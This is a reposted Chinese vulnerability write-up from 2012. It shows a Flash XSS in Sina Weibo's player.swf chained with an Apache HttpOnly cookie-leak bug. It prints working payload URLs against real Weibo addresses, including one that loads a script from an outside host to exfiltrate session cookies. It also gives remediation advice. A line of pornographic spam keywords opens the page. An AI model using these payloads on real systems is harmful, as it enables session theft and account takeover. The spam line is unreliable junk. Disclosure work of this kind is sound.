欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

新浪微博COOKIES盜取[flash編程安全+apache http-only cookie 泄漏利用]

  發(fā)布時間:2012-06-29 16:04:37   作者:gainover   我要評論
最近突然覺得,很多FLASH開發(fā)人員在編寫的時候,忽視了安全問題。被惡意利用的話,可以實現(xiàn)URL跳轉(zhuǎn),COOKIES盜取,甚至是蠕蟲攻擊。

最近突然覺得,很多FLASH開發(fā)人員在編寫的時候,忽視了安全問題。被惡意利用的話,可以實現(xiàn)URL跳轉(zhuǎn),COOKIES盜取,甚至是蠕蟲攻擊。
漏洞測試:IE , firefox , chrome(= = 這個輸入測試代碼,瀏覽器直接崩潰了)
漏洞成因
1. 首先說的是FLASH編程安全問題:
一些編程人員,對于loaderInfo.parameters 所傳入的參數(shù)都不會嚴格過濾,甚至很多開發(fā)人員都有把Javascript函數(shù)名作為參數(shù)傳入的習慣。
而事實證明,新浪的開發(fā)人員也有類似的習慣。
2. 首先google 了一下inurl:(swf) site:weibo.com ,將搜索結(jié)果中的SWF全部下載下來。 用ASV全部反編一下,得到若干txt文件,每個FLASH一個。
3. 漏洞利用條件: 有parameters, 有ExternalInterface.call。 我們以此2個關(guān)鍵詞搜索上面得到的txt文件。
4. 最終鎖定一個目標。http://tw.weibo.com/_common/jwplayer/player.swf
5. 其漏洞源碼如下:

復制代碼
代碼如下:

//加載外部參數(shù)
this.loadFlashvars(RootReference.root.loaderInfo.parameters);
//寫入?yún)?shù)
this.setConfigParam(param, params[param]);
//繼續(xù),可以看到參數(shù)寫到了_config 里
this._config[_arg1.toLowerCase()] = Strings.serialize(Strings.trim(_arg2));
//再搜索ExternalInterface.call,找到以下位置
var callbacks:* = (_player.config.playerready) ? ((_player.config.playerready + ",") + "playerReady") : "playerReady";
if (ExternalInterface.available){
for each (callback in callbacks.replace(/\s/, "").split(",")) {
try {
ExternalInterface.call(callback, {id:evt.id, client:evt.client, version:evt.version});
} catch(e:Error) {
};
};
clearQueuedEvents();
};

//可以看出call<--callback<--callbacks<---_player.config.playerready
6. 基于以上分析,我們可以很容易構(gòu)造出利用代碼。
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){alert('xxx');})
7. 但是這樣的代碼,還不足以構(gòu)成危害。 頂多就是一個URL跳轉(zhuǎn)。 連cookies都是獲取不到的。如以下代碼,將返回[拒絕訪問]的錯誤。
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){try{alert(document.cookie)}catch(e){alert(e.description)}})
8. 突破限制,獲取cookies。
正好昨天在百度javascript吧看到一片帖子href,src的妙用(http://tieba.baidu.com/p/1583718448)。正好拿來突破這種限制了。
(廣告一下,喜歡javascript的可以經(jīng)常來玩玩??!)。
利用文章中所講技巧,構(gòu)造以下代碼:
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href='javascript:"<script>alert(document.cookie)</script>"'})
9. 從上面可以看出,彈出weibo.com的cookies里。但是當我拿這個cookies來發(fā)送微博的時候,發(fā)現(xiàn)不成功。 比較了一下獲取的cookies,發(fā)現(xiàn)SUS,SUE兩個值是http-only的,也就是document.cookie得不到的。
10. 前些天看到有人發(fā)騰訊的apache cookie 泄漏漏洞,結(jié)果因為沒有漏洞利用場景被忽略了??戳讼聇w.weibo.com的HTTP頭,正好是apache的,我們這里可以嘗試用一用了??!
從exploit-db下載了利用的JS,做了點小修改。如下,保存為http://appmaker.sinaapp.com/test3.js
11. 構(gòu)造以下利用代碼,調(diào)用上面這個JS文件。代碼中的test.php為接收cookies的文件。
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href='javascript:"<script/src=\'//appmaker.sinaapp.com\/test3.js\'></script>"'})
編碼一下,可以發(fā)到微博:
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function()%7Blocation.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest3.js%5C'%3E%3C%2Fscript%3E%22'%7D)
12. 結(jié)果表明該服務器存在apache cookies泄漏漏洞,效果見漏洞證明。
------------------------------------------------------------
總結(jié):
1. FLASH的編寫安全不容忽視,實際上,我找到了10多個FLASH中,有2個FLASH可以被利用到。這說明這種漏洞不是偶然,而是被開發(fā)者忽略掉的一個問題。
另外一個不在weibo.com的域名下。提供給你們一起修復下吧!
http://js.t.sinajs.cn/t4/home/static/swf/img/SinaCollage.swf?JSHandler=(function(){alert('xxx')})
2. 本流程為apache cookies泄漏漏洞的利用,提供了一個利用場景。
漏洞證明:
1. 微博寫入鏈接:

2. 點擊鏈接后,抓包,見圖
A. Apache cookies 泄漏圖,其中包含有document.cookie無法獲取到的SUS,SUE
B. 可以看到Cookies被轉(zhuǎn)發(fā)到我們指定的PHP文件中。
3. 利用Cookies在SAE發(fā)送微博失敗。。 提示是
“抱歉,你當前使用的賬號、IP或應用由于違反了新浪微博的安全檢測規(guī)則,暫時無法完成此操作啦。你可以綁定手機來取消此限制,如有問題@微博客服反饋。” 可能做了某些其他限制。
修復方案:
1. 審查已上線的FLASH文件代碼,嚴格控制FLASH文件參數(shù)的輸入
2. apache的漏洞給打補丁。
 

相關(guān)文章

最新評論